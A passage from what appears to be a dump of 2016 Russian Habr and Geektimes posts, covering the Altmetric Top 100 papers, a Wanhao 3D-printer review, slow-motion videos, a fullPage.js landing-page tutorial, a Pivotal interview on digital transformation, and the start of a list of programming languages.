Научная статья Барака Обамы о реформе американской системы здравоохранения получила максимальную оценку внимания со стороны научного сообщества, средств массовой информации и общества Altmetric Top 100. Это первая в истории научная работа, написанная действующим президентом США. В данной статье автор анализирует эффект от внедрения закона Affordable Care Act и рекомендует приоритеты по дальнейшей реформе здравоохранения для будущих правительств. Научная статья Обамы опередила историческое открытие гравитационных волн, исследование вируса Зика, открытие девятой планеты Солнечной системы и даже скандальную статью о том, как корпорации скрывали научные доказательства вреда сахара для сердечно-сосудистой системы.
Система дата-майнинга Altmetric в этом году обработала 17 миллионов упоминаний 2,7 миллионов научных статей.
Уходящий год стал уникальным в некоторых других отношениях. Выше упоминалось о большом успехе физики, которая пробилась на 3-е и 4-е место в рейтинге. Это очень редко бывает, потому что массовая публика редко настолько сильно интересуется естественными науками. В общий рейтинг топ-100 попало всего шесть работ по физике.
Ещё одно значительное достижение 2016 года — большое количество в рейтинге научных работ, опубликованных в открытом доступе, препринтов и не прошедших рецензию. Они тоже получили большее внимание, чем обычно.
«В первый раз мы видим в списке топ-100 препринты по биологии», — говорит Эван Ади (Euan Adie), основатель компании Altmetric. В частности, эта научная статья с сайта препринтов bioRxiv заняла 21-е место, а статья с Peerj — 28-е место.
Правда, нужно заметить, что статья на 21-м месте с анализом исследований канцерогенного влияния радиочастотного излучения мобильных телефонов стала одновременно одной из самых спорных и критикуемых научных статей этого года. Неудивительно, что она не прошла peer-review и опубликована в препринте.
30 из 100 работ нынешнем рейтинге находятся в открытом доступе, а ещё для 17 работ научные издательства добровольно не взимают плату (free-to-reed). Итого за «платной стеной» остались всего 53% самых цитируемых наук. Это ещё одна победа свободной науки.
Табличные данные со статистикой и полными данными научных статей для рейтинга топ-100 опубликованы на этой странице . Топ-10 United States Health Care Reform: Progress to Date and Next Steps (JAMA)
Medical error — the third leading cause of death in the US (British Medical Journal) , статья на Geektimes: « Ошибки врачей — третья самая частая причина смерти в США »
Observation of Gravitational Waves from a Binary Black Hole Merger (Physical Review Letters) , на Geektimes: « Впервые зарегистрированы гравитационные волны: теперь официально »
Evidence for a Distant Giant Planet in the Solar System (The Astronomical Journal) , « Обнаружены новые косвенные признаки девятой планеты Солнечной системы »
Sugar Industry and Coronary Heart Disease Research: A Historical Analysis of Internal Industry Documents (JAMA Internal Medicine) , « Как индустрия сахара проплатила исследование Гарварда по поводу вреда жиров »
Zika Virus and Birth Defects — Reviewing the Evidence for Causality (New England Journal of Medicine)
The Association Between Income and Life Expectancy in the United States, 2001-2014 (JAMA)
Effect of Wearable Technology Combined With a Lifestyle Intervention on Long-term Weight Loss: The IDEA Randomised Clinical Trial (JAMA)
Mastering the game of Go with deep neural networks and tree search (Nature) , статья на Хабре: « AlphaGo на пальцах »
The new world atlas of artificial night sky brightness (Science Advances) , « Выросли поколения людей, которые не видели Млечный Путь »
К сожалению, от внимания аудитории Geektimes ускользнули три из самых цитируемых научных работ 2016 года: исследование влияния вируса Зика на дефекты новорожденных;
взаимосвязь дохода человека с его ожидаемой продолжительностью жизни;
влияние носимой электроники и стиля жизни на долговременную потерю веса.
Но в целом список самых цитируемых научных работ в СМИ не всегда коррелирует с их научной важностью, что очевидно даже из номера 1 в списке Топ-100. Реальная важность работы определяется по индексу цитирования в других научных работах. Этот индекс образуется не мгновенно, как в СМИ, а накапливается с годами и десятилетиями — по мере выхода новых и новых научных работ.
Только через десять-двадцать лет мы поймём, что в 2016 году было открыто нечто по-настоящему важное. А мы это не заметили. | https://geektimes.ru/post/283772/ |
habrahabr | Обзор 3D-принтера Wanhao Duplicator i3 Plus | ['3d-печать', '3d-принтер', '3d-принтеры', '3d принтеры', 'wanhao'] |
Всем привет! С вами Top 3D Shop и сегодня мы представляем вашему внимаю всё тот же нашумевший 3D принтер Wanhao, но теперь — его модификацию Wanhao Duplicator i3... |
Всем привет! С вами Top 3D Shop и сегодня мы представляем вашему внимаю всё тот же нашумевший 3D принтер Wanhao, но теперь — его модификацию Wanhao Duplicator i3 Plus . Характеристики
Цена на него сейчас, перед праздниками — 34 900 рублей. Еще пара слов о цене — в конце обзора.
Пойдем по порядку. Распаковка
При вскрытии коробки сразу заметно, что упаковывать принтер стали куда тщательнее, повышая безопасность всех частей. Все детали принтера отделены друг от друга упаковочным материалом, что исключает их трение друг о друга или столкновение.
Набор вспомогательных инструментов помещен в отдельную коробку, ничего не разбросано, все аккуратно разложено в отдельные пакеты.
Следует отметить приятное дополнение к набору инструментов, это – длинная спица для проталкивания застрявшего пластика, сверло для чистки сопла и мягкие резиновые подкладки для основания принтера.
В остальном всё осталось как прежде: шпатель, держатель для катушки, набор шестигранников, набор соединительных винтов, запасные стяжки, карта памяти, USB кабель и шнур питания, тестовый моток пластика, инструкция и запасное покрытие стола.
Версия Plus имеет всего две части корпуса: раму и основание, в котором расположен блок питания и управляющая электроника. Извлекать их было куда проще, чем это было со второй версией, где было 3 части (рама, основание и отдельный блок питания), которые были соединены между собой без возможности разъединения. Сборка
Рама и корпус собираются по той же схеме, что и во второй версии. Все разъёмы помечены буквами и перепутать места соединения невозможно.
По внешнему виду принтер стал намного компактнее, нет отдельного блока питания и соединяющих с ним проводов, можно легко взять и перенести его куда угодно.
Кабель стола теперь расположен под самим столом и не будет цепляться за заднюю часть основания принтера.
Калибровка стола стала проще и удобнее, чем это было на второй версии.
Блок подшипников в верхней части оси X заменен одной втулкой серии LM, находящейся в пластиковом основании. Также стоит отметить, что в таком исполнении ремень находится на безопасном расстоянии от подшипника, благодаря чему не подвержен истиранию.
В блок экструдера так же внесли изменение: был заменен вентилятор обдува, с 30-ти миллиметрового на 40 мм, для усиления подачи воздуха. Форма диффузора осталась без изменений, направление обдува осталось односторонним.
Обязательно проверьте при сборке провода кулера, термодатчика и нагревательного элемента на наличие трения о линейную направляющую оси X, как на фото. Органы управления
На передней части основания принтера расположен сенсорный дисплей. На главном экране находятся всего 3 кнопки: меню системных настроек, меню настроек подготовки принтера и меню печати.
Поначалу сенсорный дисплей может показаться непривычным, но со временем понимаешь, что в некоторых случаях это даже удобнее: не приходится постоянно крутить ручку, слушая постоянное звуковое сопровождение, чтобы добраться до нужного пункта меню, требуется лишь поместить палец куда надо и нажать.
В меню перемещения осей тоже много функций располагается на одном экране, не приходится выбирать один параметр, производить в нем нужное действие, а затем возвращаться назад и выбирать другой параметр для изменения.
Есть и неприятный момент, что огорчило: шаг перемещения нельзя регулировать, не получится подогнать сопло к требуемому месту для печати, а в некоторых случаях такое может пригодиться, например, для продолжения печати с заданной высоты по оси Z, но это уже для любителей экспериментов.
Не совсем удобно реализован выбор температуры сопла – это придется делать с отметки 0, с шагом в 1 градус. Во второй версии начальная точка начиналась со 170 градусов и «ручка-крутилка» приходилась как нельзя кстати.
Сохранилась возможность управления некоторыми параметрами прямо во время печати. Скачков температуры экструдера в версии Plus не наблюдается.
По сравнению со второй версией, формат карты памяти был изменен на полноразмерную, не придется иметь дело с адаптерами. Рядом с гнездом под карту памяти находится гнездо для кабеля USB и кнопка аварийной остановки. Работа
На карте памяти находится ПО – Cura Wanhao Edition. Программа изменена специально под версию Plus, не придется выбирать никакие предустановки специально под этот принтер.
Печать предлагаемого файла «OK» не вызвала интереса, для тестовой печати были выбраны модели посложнее. Интересно было проверить печать плоскостей параллельных плоскости стола, а именно — качество нависающей поверхности и легкость снятия поддержек. Также было интересно проверить печать нависающих частей, где поддержки можно не ставить.
Данная модель была напечатана из PLA на среднестатистических настройках, без всяких ухищрений, поддержка слетела без проблем, как будто печатали из ABS. Результат печати прямо из коробки, был лишь откалиброван стол и сразу в бой, дошел до 100% с первого раза.
Следующая фигурка была напечатана из того же PLA. Проверялся обдув модели на боковых нависающих частях. Следует отметить, что одна щека фигурки находилась прямо перед обдувом, а вторая щека была с другой стороны, где не было непосредственного мощного обдува, но обе стороны фигурки получились одинаковыми. Cura сочла нужным поставить в одном месте поддержку, но, как видно на фото, ни одна часть не поплыла и поддержка не понадобилась.
Также принтер был испытан печатью материалом Flex. Проблем не возникло. Хоть модель была взята и самая простая, но, даже на простых моделях не всегда получается напечатать из флекса сразу хорошо. Плюсы, минусы и сравнение с предыдущей версией
Плюсы в новой версии, в сравнении с предыдущей: Удобная распаковка и сборка.
Провода нагревательного элемента находятся в более надежной изоляции.
Кабель стола не трётся об основание и не мешает движению оси Y.
Более мощный вентилятор обдува.
Удобные ручки калибровки стола.
Стабильная температура экструдера.
Набор инструментов дополнен спицей и сверлом для обслуживания сопла.
Более быстрая и удобная навигация в меню: лучше продуман интерфейс, быстрее отклик.
Компактность принтера в целом.
Переход на втулку LM.
Исключено истирание ремня оси X.
Минусы: Непродуманное расположение проводов нагревательного элемента, термодатчика и вентилятора, относительно линейной направляющей оси X.
Расположение блока питания внутри основания принтера, что делает невозможным монтаж закрытой камеры для печати пластиком ABS.
Нерегулируемый шаг хода ручного перемещения осей.
Односторонний обдув.
Итог
Прежде всего, обращает на себя внимание цена. При таком сочетании цены, простоты работы с данным принтером, его качеством печати и возможностью печатать многими материалами, этот принтер заслужил свою популярность на рынке.
Принтер показал хорошее качество печати разными материалами сразу после распаковки и сборки. Принтер достаточно прост и открыт для пользователя, что дает возможность изучать процессы работы — как программно-аппаратной части ЧПУ устройств, так и технологии FDM печати.
Дополнительная скидка на этот 3D-принтер для наших читателей, при покупке через корзину или личного менеджера в Top3DShop, — 10%, по коду 3DGEEK . Подписывайтесь на нас в соц. сетях: | https://geektimes.ru/company/top3dshop/blog/283774/ |
habrahabr | Ускоренная съёмка [1000 FPS] | ['slowmotion', 'ускоренная съёмка', 'sony rx100', 'в гараже'] | Предлагаю немножко отвлечься от микроскопа и вместе посмотреть небольшую коллекцию slow motion видео.
История началась с того, что примерно год назад я приобрёл камеру Sony RX100 IV. Она... | Предлагаю немножко отвлечься от микроскопа и вместе посмотреть небольшую коллекцию slow motion видео.
История началась с того, что примерно год назад я приобрёл камеру Sony RX100 IV . Она оказалась на редкость хорошей штукой (а мой друг, разбирающийся в этой технике, плохого не посоветует) и стала основным инструментом видеозаписи и в гараже-лаборатории и в поездках по миру.
Отличительная особенность этой камеры в том, что она может производить ускоренную съёмку, так называемый slow motion со скоростью 1000 кадров в секунду. Снятое видео выглядит медленнее в 40 раз, а это очень полезно для научно-популярных видео.
Slow motion видео я объединил в плей-лист, который так и называется — 1000 FPS . Чайка
Начнём с грациозного полёта чайки. Я снял это видео с парома, который причаливал к острову Готланд . В тот момент, когда работают боковые двигатели корабля, на поверхность воды выбрасывается рыба, которая в них попадает. За ней и охотятся птицы. Белка
Проснувшись как-то утром и сев завтракать я увидел за окном белку. Камера у меня всегда под рукой. Конечно, я не успел настроить все параметры видеосъёмки, но белка решила прыгнуть в самый подходящий момент. Никогда раньше я не видел, что белка очень похожа на кота. Стрекоза
Стрекоза — очень быстрое насекомое, летает со скоростью до 50 км/ч, и взлетает тоже очень быстро. Но этот экземпляр решил многократно мне попозировать. Свиристели
Ещё одно видео про птичек, но с другого ракурса и в России. Водомерка
Эти насекомые тоже очень и очень быстрые. Особенно хорошо у них получается ускорение с 0 до рабочей скорости, и всякие развороты. Некоторые из их манёвров удалось заснять в собственном прудике. Вода и камень
Сменим тему и перейдём к неодушевлённым предметам. Вот что будет, если в Балтийское море бросить камень. Электронно-лучевой телевизор
Это самое-самое популярное видео из моей коллекции. Более 120 тыс. просмотров, разошлось в гифках по просторам интернетов.
Я разыскал, что показывали по телеку в тот момент: Плазменный телевизор
А вот плазменный телевизор вы наверняка ещё не видели. Психоделическое зрелище. Резка металла
Отрезаем металл абразивным диском. Ради наглядности мы нарушили технику безопасности. Человек, который режет видео — знает, что делает. И знает, как это сделать аккуратно. Ни в коем случае не повторяйте самостоятельно! Перфоратор долбит
Взял камеру, перфоратор и подолбил им штукатурку на стене. Вышло очень даже качественно. Как зажигаются спички
Самое интересное в этом видео, как мне показалось, это то, что спичка некоторое время горит вообще без пламени. Котик кушает
И в заключение, конечно же котик!
В плейлисте есть ещё несколько видео. А также я планирую опубликовать новые, которые пока ещё не обработал.
Если вам интересно, проверьте YouTube на следующей неделе, тогда уже выложу, или воспользуйтесь автоматическим оповещением (аккуратнее, в канале я выкладываю и другие научно-популярные видео менее смешной и более серьёзной тематики, а не только котиков).
Буду рад услышать ваши пожелания о том, что бы (или кого бы) ещё заснять на скоростную видеокамеру! UPD: Посоветуйте, какую музыку добавлять в видео для более приятного просмотра. Или наоборот оставить как есть? UPD2: Я добавил видео про ЭЛТ телевизор и нашёл передачу, которую в этот момент показывали. Можете сравнить, как выглядит. | https://geektimes.ru/post/283766/ |
habrahabr | Landing Page как замена всего сайта | ['разработка веб-сайтов', 'дизайн сайтов', 'лендинг', 'плагин jquery'] |
Здравствуйте, уважаемые хабрапользователи! Предлагаю поговорить о landing page. Многие из вас слышали, а, наверняка, большинство знают, что это. Но все равно хотелось бы чуть-чуть заострить на... |
Здравствуйте, уважаемые хабрапользователи! Предлагаю поговорить о landing page. Многие из вас слышали, а, наверняка, большинство знают, что это. Но все равно хотелось бы чуть-чуть заострить на этом внимание.
Landing page (Целевая, посадочная страница) — это возможность для продавца или сервиса за несколько секунд рассказать о своих товарах и услугах самое главное, а для потенциального клиента — убедиться в том, что он попал «точно в цель». Одна из задач создания целевых страниц — формирование положительного восприятия рекламы и замена «стандартного» трюка, основанного на различных импликациях, полноценным информационным блоком.
Сегодня с развитием разработки интернет-ресурсов очень тяжело выделиться на рынке, особенно для веб-студии. Так как нужно предложить пользователю нечто иное, непохожее на аналоги в данном направлении. Для веб-студии немаловажно создать свой личный, креативный сайт, для привлечения клиентов и демонстрации собственных возможностей.
С учётом всего вышесказанного, было принято решение разработать одностраничный сайт, но с грамотно построенной структурой для удобства пользователя: чтобы поиск нужной ему информации не занимал длительное время. Выбор пал на одностраничный сайт и потому, что переход по ссылкам занимает определенное время, а этого хотелось бы избежать и отдать пользователю весь контент сразу.
Хотелось бы рассказать про процесс создания такого ресурса, какие инструменты были выбраны, почему выбор пал именно на эти инструменты и т.д. А поделиться этим хочется на основании комментариев и отзывов пользователей и людей со стороны. Процесс разработки
Как и любой процесс разработки началось всё с выбора дизайна и нужных инструментов. То, почему такой дизайн был выбран, я рассказывать не буду, потому что эта статья не об этом. Речь пойдет о самой разработке.
Итак, после утверждения дизайна решили думать, какой стек будет использоваться в разработке. Для стилизации сайта было решено использовать самописные стили, так как дизайн индивидуален и фреймворки не подходили. Чтобы оживить сайт, была выбрана библиотека jQuery, потому что с её помощью можно довольно легко манипулировать элементами на странице, создавать анимации. Самый главный инструмент, который помог нам в разработке, — fullPage.js. Данный плагин помог осуществить главную задумку и создать скроллинг полноэкранных секций. Написание стилей
Мы остановились на самописной таблице стилей, потому что контент, который размещается в секциях, должен был изменяться в зависимости от разрешения экранов.
При помощи CSS медиа-запросов, на разных разрешениях экранах можно пропорционально уменьшать блоки, шрифты и другие элементы на странице. Благодаря таким манипуляциям, один и тот же контент одинаково хорошо выглядит как на больших экранах, так и на маленьких.
Приведу ниже код определенного блока, где, благодаря медиа-запросам, и происходит уменьшение блоков. Рисунок 1 Рисунок 2
Посмотрим на код: .animation-box-2 {
position: absolute;
bottom: 0px;
left: 0px;
height: 24%;
font-size: 36px;
}
@media (max-width: 1200px)
.animation-box-2 {
font-size: 22px;
}
@media (max-width: 1400px)
.animation-box-2 {
font-size: 26px;
}
@media (max-width: 1500px)
.animation-box-2 {
font-size: 30px;
}
Как можно заметить из кода, который приведен выше, на определенных разрешениях экрана шрифт в блоке уменьшается или увеличивается. По такому принципу построен весь лендинг. Данный метод очень удобен, если у вас есть контент, который всегда должен быть на виду, но на каких-то разрешениях он плохо отображается или не помещается в блоки. Именно в таких случаях вам на помощь придут медиа-запросы. Плагин fullPage.js
Теперь хотелось бы рассказать о самой основной концепции, которая использовалась в данном проекте. Это jQuery plugin Fullpage.js .
При разработке этого проекта стал вопрос о том, как бы сделать сайт довольно легким в управлении, информативным, но в то же время креативным и запоминающимся. После долгих раздумий пришла в голову идея, — разместить все основные разделы на одной странице и сделать удобную навигацию между экранами. При выборе стэка для этой задачи было просмотрено немало страниц в Google, но на тот момент достойного аналога по функциональности не нашлось (да и сейчас, если посмотреть, подобных плагинов не так уж и много). Приведу пару аргументов, почему выбор пал именно на этот инструмент: Легкая настройка
Очень гибкий и разнообразный функционал
Кроссбраузерность (вплоть до ie8)
Отличная документация по продукту
Обновления
Респонсив
Ниже будет приведен код, в котором будет показано насколько он прост в использовании: <div class="js-allscreens">
<div class="js-screen">
</div>
<div class="js-screen" data-title="Why choose us">
Some Content
</div>
<div class="js-screen" data-title="Design">
Some Content
</div>
<div class="js-screen" data-title="Development">
Some Content
</div>
<div class="js-screen" data-title="Digital Marketing">
Some Content
</div>
<div class="js-screen" data-title="Integrated">
Some Content
</div>
<div class="js-screen" data-title="eCommerce">
Some Content
</div>
<div class="js-screen" data-title="Niche">
Some Content
</div>
<div class="js-screen" data-title="Additional">
Some Content
</div>
<div class="js-screen" data-title="Who We Are">
Some Content
</div>
</div>
Как видно выше, всё очень просто. При создании HTML структуры для этого плагина, главное, чтобы все секции, которые должны входить в скроллинг, были обернуты одним «дивом», по классу которого и будет производиться вызов плагина. Как на примере ниже: $(document).ready(function() {
$('.js-allscreens').fullpage(); // Вызов плагина по классу .js-allscreens
});
Хотелось бы привести настройки плагина, но так как их достаточно большое количество, приведу наиболее актуальные для разработки: anchors — идентификаторы ссылок на секции (в виде массива); позволяют быстро переместиться к нужной секции;
menu — идентификатор меню; необходим, чтобы отмечать ссылки соответствующие выбранной секции;
scrollbar — если данной настройке передать значение TRUE, будет показа вертикальная полоса прокрутки браузера;
scrollOverflow — необходима для отображения скролла внутри секции, в том случае если контент выходит за ее границы;
navigation — если данной настройке передать значение TRUE, будет отображена навигационная панель по секциям;
navigationTooltips — массив всплывающих подсказок; для каждого элемента навигационной панели;
slidesNavigation — если данной настройке передать значение TRUE, в секции слайдов будет отображена навигация по слайдам;
navigationPosition — позиция навигации по секциям (поддерживаемые значения: left и right );
slidesNavPosition — позиция навигации по слайдам (поддерживаемые значения: bottom и top );
loopTop — если данной настройке передать значение TRUE, перемещение по секциям будет бесконечным (но только в направлении вверх — к первому слайду). Если на первом слайде вращать колесо мыши вперед, будет выполнено перемещение к последнему слайду.
loopBottom — аналогично предыдущей настройке, только направление вниз.
loopHorizontal — аналогично предыдущим настройкам, только работает для слайдов.
Вывод
Не хочется, чтобы эту статью расценивали так, как будто вас пытаются научить чему-то сверхсложному или навязать своё мнение. Просто решили поделиться опытом того, как можно создать одностраничный сайт с оригинальным видом, приятным дизайном и информативным контентом. Знаем, что тут еще не презентационное качество, но, как обмен опытом, просим любить и жаловать.
Спасибо за внимание!
Материал подготовлен: greebn9k (Сергей Грибняк), V1pBoy (Виталий Калашников), silmarilion (Андрей Хахарев) | https://habrahabr.ru/post/317708/ |
habrahabr | Цифровая трансформация: классические бизнесы переходят в ИТ | ['gotech', 'бизнес', 'бизнес-процессы'] | Роман Шапошник, генеральный директор компании Pivotal по корпоративной стратегии, выступил на форуме GoTech с рассказом о вызове, который компании из Силиконовой долины бросили традиционным... | Роман Шапошник, генеральный директор компании Pivotal по корпоративной стратегии, выступил на форуме GoTech с рассказом о вызове, который компании из Силиконовой долины бросили традиционным бизнесам, и о том, к каким изменениям это уже привело. В кулуарах Форума он более подробно остановился на обозначенной проблеме.
На рубеже 2012-2013 годов традиционные американские компании, в первую очередь, с Восточного побережья, одолела боязнь того, что происходит в Силиконовой долине. Приходило понимание, что скоро они окажутся на обочине современной экономики, даже, несмотря на то, что производят продукты и решения, без которых сложно представить современный мир.
В тот момент на Западе США происходили удивительные вещи. Компания, которая не управляла ни одним такси, вдруг становилась самым крупным таксопарком страны, а другая компания, не владеющая ни одной комнатой, превращалась в самый крупный отель. Традиционный бизнес стал осознавать, что одной покупки лучших продуктов сферы ИТ (будь то база данных, middleware или frontend) недостаточно для победы над новыми компаниями из Силиконовой долины.
Заметив этот тренд, я резонно задал себе вопрос: а есть ли такая компания, которая помогает этому большому бизнесу с огромной историей выжить в конкурентной борьбе с предпринимателями с Западного побережья? Так я вышел на компанию Pivotal, где стал отвечать за стратегию развития и взаимодействия с opensource сообществом. Pivotal Cloud Foundry: Linux of the cloud
Прежде, чем принять окончательное решение о сотрудничестве с Pivotal, у меня состоялся обстоятельный разговор с ее СЕО – Полом Моррисом, который ранее отвечал в Microsoft за стратегию развития Windows как платформы. И он мне рассказал довольно интересную историю. В 90-е Microsoft удалось стать основной платформой для бизнес-приложений того времени. Но она упустила момент, когда эти приложения перекочевали в интернет, и эту нишу заняла Sun Microsystems (впоследствии уступив пальму первенства решением на базе Linux). В середине нулевых у компаний, которые поставляли на рынок свои приложения, вдруг оказалось слишком много клиентов. Это привело к тому, что традиционные архитектуры, базировавшиеся на иерархическом слое (frontend, middleware, база данных), просто не давали бизнесам работать с необходимой скоростью. В тот момент они осознали, что нет ни одного ИТ поставщика, кто мог бы им продать ту же самую платформу, которая делает, например, успешными Google, Facebook или Netflix. Мало того, нет ни одного поставщика, кто готов научить эти компании работать в том стиле, как упомянутые лидеры новой экономики. По словам Пола, он хотел сделать из Pivotal Microsoft XXI века. А именно создать не просто поставщика новой платформы для традиционного предприятия, а поставщика нового подхода, позволяющего успешно конкурировать с компаниями Силиконовой долины.
Сегодня информационные технологии определяют бизнес, тогда как раньше они воспринимались как вспомогательная функция (кто-то сидит в подвале и заведует тем, чтобы при включении твоего компьютера был интернет). Теперь команда разработчиков настолько же сильно влияет на то, куда движется бизнес, как и сами его руководители. Но создание платформы для поддержки этого нового подхода к IT невозможно без работы с сообществом, которое взаимодействует с открытым кодом. Для этого Pivotal, EMC/DellTechnologies, HP, IBM, Rackspace, SAP и VMware создали CloudFoundry Foundation, куда вошли такие гиганты как Cisco, GE, Huawei и другие. Наши потребители вне зависимости от географического расположения, тем самым, получали возможность работать как компании Силиконовой долины. Цифровая трансформация
Что мы имеем ввиду. Приведу в пример цитату СЕО General Electric: «если вы пошли спать как индустриальная компания, то в 2016 году вы проснетесь как компания, производящая программное обеспечение и аналитику». Здесь говорится о том, что главное отличие компании от конкурентов будет заключаться не в том, что она производит самые лучшие турбины, а в том, что она создает самую лучшую аналитику для этих турбин. Мы говорим о настоящем digital transformation – процессе не только технологическом, но и культурном.
Такие монстры как Ford, JPMorgan Chase, Citibank или BMW осуществляют культурную революцию, но стараются это сделать так, чтобы не убить основной бизнес, так как без него не будет выручки. Вопрос заключается в том, как, поддерживая классический бизнес, построить что-то новое, чтобы перепрыгнуть на него через условные 20 лет. Сегодня трансформацию в этих компаниях надо проводить мягко, хоть ИТ и внедряется во все организационные структуры – от отдела кадров до совета директоров.
Правда бизнес-процессы и способы их внедрения, даже если они идеально подходят компании, порождают следующий вопрос: как получить платформу, которая им соответствует? В Pivotal мы тоже это предусмотрели и стали давать клиентам платформу, похожую на те, которые используют компании Силиконовой долины. Это позволяет поддерживать скорость ведения бизнеса на должном уровне. В идеале получается бизнес, который все взаимодействие с клиентами ведет через разнообразные самообучающиеся приложения с минимальным участием человека.
В качестве примера можно привести наше сотрудничество с Ford. Здесь мы создаем приложения, которые исключают водителя из процесса управления автомобилем. Они не ограничивается только тем, чтобы контролировать передвижение по дороге. Нет, приложения занимаются полным жизненным циклом машины – заказывают заранее парковочное место, или сообщают тебе о том, что молока в том магазине, куда ты обычно заезжаешь за покупками, сегодня нет. Водитель находится в таких взаимоотношениях с Ford, которые выходят далеко за рамки просто автомобильного бизнеса.
Стимул классических компаний при подобных трансформациях очевиден – формирование новых отношений с клиентом, таких, какие есть у Apple или Uber. Сегодня бизнесов, которые понимают необходимость изменений, уже сотни, четыре года назад их было единицы. Например, 6 из топ-10 банков или производителей автомобилей – уже клиенты Pivotal. Кроме них, меняются представители нефтегазовой промышленности, страховые компании, телекоммуникационная отрасль, сельское хозяйство, фармацевтика и многие другие. Ломаются традиционные понимания бизнеса. Уверен, что Ford не хочет просто производить автомобили, а нефтяная компания тупо качать нефть. Тот же Герман Греф говорит, что главным конкурентом «Сбербанка» являются Яндекс или Google. И в этих условиях очень некомфортно себя чувствуют управленцы, да и рядовые сотрудники предприятий.
Кстати, приведу еще один пример с нашим клиентом из нефтегазового сектора. Он признался, что добыча нефти (законсервированного углерода) – неинтересный бизнес. Намного интереснее научиться предсказывать и формировать запрос рынка, то есть осуществлять наиболее быструю доставку той конфигурации молекул законсервированного углерода, которая на сегодняшний день требуются рынку, и в ту точку, где она нужна. Поэтому в компании появился проект максимально конфигурируемого завода, который в полностью автоматическом режиме отвечает на потребности рынка, например, в том, какой тип пластика или еще какого-либо продукта, производимого из сырой нефти, нужно поставлять и в какую точку.
Как убедить все эти компании в нашей философии? С одной стороны, мы идем сверху вниз. То есть общаемся с руководителями. Так произошло со «Сбербанком», где решение о сотрудничестве с нами принимал Герман Греф. Таким образом, мы входим в круг совета директоров. Около 30% наших клиентов принимали решения о трансформации именно так. Второй путь – через руководителей среднего звена. Они готовы на подвиг, чтобы завтра их компания совершила новый прорыв, поэтому обращаются к нам за выполнением так называемых партизанских проектов. Наша платформа позволяет им комфортно переносить приложения из публичного cloud'а в частный дата-центр. И мы начинаем взаимодействие вокруг уже конкретных проектов. Каждый инженер или менеджер на практике видит, что мы предлагаем. После этого у нас появляется некое фанатское движение внутри организации, и информация идет наверх, где уже принимается решение. | https://habrahabr.ru/company/gotech_vc/blog/317758/ |
habrahabr | 13 перспективных языков программирования | ['parallels', 'parallels desktop', 'virtualization', 'pd', 'it', 'программирование', 'языки программирования'] |
Более быстрое и умное программирование, с меньшим количеством багов. Подобными обещаниями создатели многих современных языков привлекают внимание программистов. Всё это мы слышали уже много... |
Более быстрое и умное программирование, с меньшим количеством багов. Подобными обещаниями создатели многих современных языков привлекают внимание программистов. Всё это мы слышали уже много раз, но недостаток новизны — вовсе не причина отвергать эти обещания. Ведь будущее программирования требует стабильности и внедрения хороших методик, поэтому инновации будут работать. А учитывая, что программные продукты часто бывают просто огромными, сегодня мы нуждаемся в инновациях как никогда ранее.
Для перечисленных ниже языков характерно то, что возрастание степени автоматизации действительно может сделать их код достойным характеристики «быстрее, умнее и без багов». Современные подходы подразумевают усиление структурированности и абстрактности, благодаря чему «начинка» языков всё чаше берёт на себя выполнение задач, которые программистам раньше приходилось решать самостоятельно. Благодаря росту такой автоматизации разработчики могут уделять больше внимания поиску и исправлению багов. Во многих случаях это даже улучшает производительность языков, поскольку автоматизированные алгоритмы эффективнее решают задачи распараллеливания вычислений, не совершая многих простых ошибок.
Но за этой основной темой скрывается одно маленькое соглашение. Один из языков создан для статистического анализа. Несколько других модернизируют классические языки. Некоторые вообще не являются языками, это просто препроцессоры. Но при этом все они меняют наш подход к написанию кода и закладывают фундамент будущего программирования.
Ниже описаны 13 языков, которые меняют то, как мы говорим компьютерам, что нужно делать . Некоторые из них новые, некоторые уже обрели широчайшую популярность, а некоторые не являются языками в полном смысле слова. R
В глубине души R является языком программирования, но он выполняет роль знаменосца в современном мире, помешанном на использовании статистики для обнаружения паттернов в больших объёмах данных. R был разработан статистиками и учёными ради облегчения их работы. В нём реализовано большинство стандартных функций, используемых для анализа данных, а с помощью свободно распространяемых библиотек можно добавлять в него много дополнительных полезных алгоритмов. R даёт специалистам по обработке и анализу данных почти всё, что нужно для проведения исследований.
Многие ограничиваются тем, что используют R внутри интегрированной среды разработки в качестве блокнота для экспериментов с данными. Загружать данные и работать с ними можно с помощью двух популярных фронтендов: R Studio и R Commander . Они превращают R из языка, который нужно компилировать и запускать, в более интерактивную среду. Ключевые моменты: Продуманные выражения для выбора подмножеств и их анализа. Трудности: Заточен под персональные компьютеры, не является частью мира больших данных, где правят технологии наподобие Hadoop. Java 8
Java — язык не новый. Для многих из нас он был первым языком программирования благодаря его роли лингва франка в информатике. Сегодня в мире циркулируют — и управляют им — миллиарды JAR-файлов. Но Java 8 несколько иная. В ней появились возможности по внедрению функциональных методик программирования, которые открывают дорогу параллелизму. Использовать их не обязательно, можно оставаться и в рамках старой доброй Java. Но тогда вы не сможете повысить структурированность ради оптимизации исполнения JVM. Вы не сможете мыслить в рамках парадигмы функционального программирования, не сможете писать более чистый, быстрый код с меньшим количеством багов. Ключевые моменты: Лямбда-выражения и многопоточный (concurrent) код. Трудности: Возникает желание удрать и с головой окунуться в Scala. Swift
Apple увидела перспективу в жалобах новичков на трудности написания кода на Objective-C. В результате компания выкатила Swift и непрозрачно намекнула, что он заменит Objective-C в разработке под MacOS или iOS. В Apple поняли, что создавать заголовочные файлы и жонглировать указателями уже несовременно. Swift прячет от вас подобные вещи, и по стилю написания гораздо ближе к современным языкам, вроде Java или Python. К тому же он выполняет за вас всю грязную работку.
У Swift обширная спецификация. Это не просто синтаксически подчищенный Objective-C, количество нововведений так велико, что их замучаешься перечислять. Некоторые программисты даже жалуются, что приходится изучать слишком много нового при переходе с Objective-C, к тому же Swift усложняет жизнь командам, участники которых рецензируют код друг друга. Но не стоит на этом зацикливаться, ведь теперь iOS-разработчики могут выкатывать код так же быстро, как и другие. Синтаксис стал чище, а язык теперь может решать более сложные задачи. Ключевые моменты: Гораздо более ясный и понятный синтаксис, меньше низкоуровневой возни с указателями. Трудности: Обратная совместимость требует иногда думать о битах и байтах. Go
Когда в Google начали разрабатывать новый язык для своих серверных ферм, то решили создать что-то простое, насобирав удачных идей из других языков. Как сказал один из авторов, они хотели, чтобы всё было «настолько простым, чтобы это мог запомнить один человек». В Go нет сложных абстракций или мудрёного метапрограммирования — лишь базовые возможности, выражаемые незатейливым синтакисом.
Это облегчает работу в командах, потому что не надо беспокоиться о том, что кто-то откопает очередную гениальную идею в недрах спецификации. Ключевые моменты: Чистый и простой язык для работы с данными. Трудности: Иногда требуются более широкие возможности. CoffeeScript
